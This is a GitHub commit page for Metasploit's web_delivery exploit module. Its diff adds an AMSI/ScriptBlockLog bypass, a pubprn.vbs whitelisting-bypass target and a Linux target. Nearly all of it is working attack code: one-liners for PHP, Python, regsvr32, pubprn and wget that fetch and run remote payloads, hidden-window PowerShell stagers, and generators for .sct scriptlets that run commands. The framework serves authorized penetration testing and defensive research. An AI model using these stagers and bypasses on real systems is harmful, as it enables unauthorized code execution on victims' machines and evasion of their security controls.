Skip to content

Commit

Permalink
Add support for AMSI/SBL bypass to PSH web_delivery
Browse files Browse the repository at this point in the history
  • Loading branch information
phra committed Oct 12, 2019
1 parent ed03590 commit a330fea
Showing 1 changed file with 88 additions and 44 deletions.
132 changes: 88 additions & 44 deletions modules/exploits/multi/script/web_delivery.rb
Expand Up @@ -29,11 +29,17 @@ def initialize(info = {})
or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
The signed Microsoft binary file, Regsvr32, is able to request an .sct file
and then execute the included PowerShell command inside of it.
Similarly, the pubprn target uses the pubprn.vbs script to request and
execute a .sct file.
Both web requests (i.e., the .sct file and PowerShell download/execute)
can occur on the same port.
"PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
"PSH (Binary)" will write a file to the disk, allowing for custom binaries
to be served up to be downloaded and executed.
),
'License' => MSF_LICENSE,
'Author' =>
Expand All @@ -44,6 +50,8 @@ def initialize(info = {})
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
'Trenton Ivey', # AppLocker MSF Module (kn0)
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
'bcoles', # support for pubprn and Linux wget
'phra', # @phraaaaaaa // https://iwantmore.pizza/
],
'DefaultOptions' =>
{
Expand All @@ -56,8 +64,10 @@ def initialize(info = {})
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
['URL', 'https://iwantmore.pizza/posts/amsi.html'],
],
'Platform' => %w(python php win),
'Platform' => %w(python php win linux),
'Targets' =>
[
['Python', {
Expand All @@ -76,9 +86,17 @@ def initialize(info = {})
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}],
['pubprn', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}],
['PSH (Binary)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}],
['Linux', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
}]
],
'DefaultTarget' => 0,
Expand All @@ -87,10 +105,11 @@ def initialize(info = {})

register_advanced_options(
[
OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Prepend AMSI / ScriptBlockLog bypass to PSH stager', true ]),
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
], self.class
]
)
end

Expand All @@ -99,8 +118,10 @@ def primer
php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
pubprn = %Q(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct)

print_status("Run the following command on the target machine:")

case target.name
when 'PHP'
print_line("#{php}")
Expand All @@ -109,76 +130,99 @@ def primer
when 'PSH'
psh = gen_psh("#{get_uri}", "string")
print_line("#{psh}")
when 'pubprn'
print_line("#{pubprn}")
when 'Regsvr32'
print_line("#{regsvr}")
when 'PSH (Binary)'
psh = gen_psh("#{get_uri}", "download")
print_line("#{psh}")
when 'Linux'
fname = Rex::Text.rand_text_alphanumeric 8
print_line "wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&"
end
end


def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
def on_request_uri(cli, request)
if request.raw_uri.to_s.ends_with?('.sct')
print_status("Handling .sct Request")
psh = gen_psh("#{get_uri}", "string")
data = gen_sct_file(psh)
elsif target.name.include? 'PSH (Binary)'

case target.name
when 'pubprn'
data = gen_pubprn_sct_file(psh)
when 'Regsvr32'
data = gen_sct_file(psh)
else
print_error('Unexpected request for .sct file')
end

send_response(cli, data, 'Content-Type' => 'text/plain')
return
end

case target.name
when 'Linux'
data = generate_payload_exe
elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
when 'PSH (Binary)'
data = generate_payload_exe
when 'PSH', 'Regsvr32', 'pubprn'
data = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
else
data = %Q(#{payload.encoded})
end

if _request.raw_uri =~ /\.sct$/
print_status("Handling .sct Request")
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering Payload")
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
print_status("Delivering Payload (#{data.length}) bytes")
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end


def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
amsi_bypass = Rex::Powershell::PshMethods.bypass_powershell_protections if datastore['PSH-AmsiBypass'] and target.name == "PSH"

if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"

# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))
# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))

# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end

download_and_run = "#{ignore_cert}#{download_string}"
download_and_run = uglify_ps("#{amsi_bypass}#{ignore_cert}#{download_string}")

# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end


def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end


def gen_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end

def gen_pubprn_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
end

def uglify_ps(code)
return code.gsub(/\n/," ").gsub(/\ +/, ' ')
end
end

0 comments on commit a330fea

Please sign in to comment.